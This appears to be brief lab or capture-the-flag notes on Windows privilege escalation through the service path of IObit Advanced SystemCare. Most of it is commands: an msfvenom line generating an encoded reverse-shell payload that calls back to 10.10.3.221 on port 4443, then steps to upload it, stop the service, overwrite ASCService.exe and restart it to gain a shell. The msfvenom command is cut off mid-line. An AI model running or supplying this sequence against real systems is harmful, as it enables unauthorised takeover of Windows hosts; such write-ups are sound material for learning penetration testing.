unquoted service path vulnerability

C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

Now create a reverse shell payload

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.3.221 LPORT=4443 -e x86/shikata_ga_nai -

using reverse meterpreter payload dies if used and we have to chain it with post/windows/manage/migrate

Now upload the malicious file and changer meterpreter to shell, stop the service and then copy the file the same location, start listener at port 4443 and start the service again.

upload ASCService.exe
shell
sc stop AdvancedSystemCareService9
copy ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
sc start AdvancedSystemCareService9

and we got the reverse shell
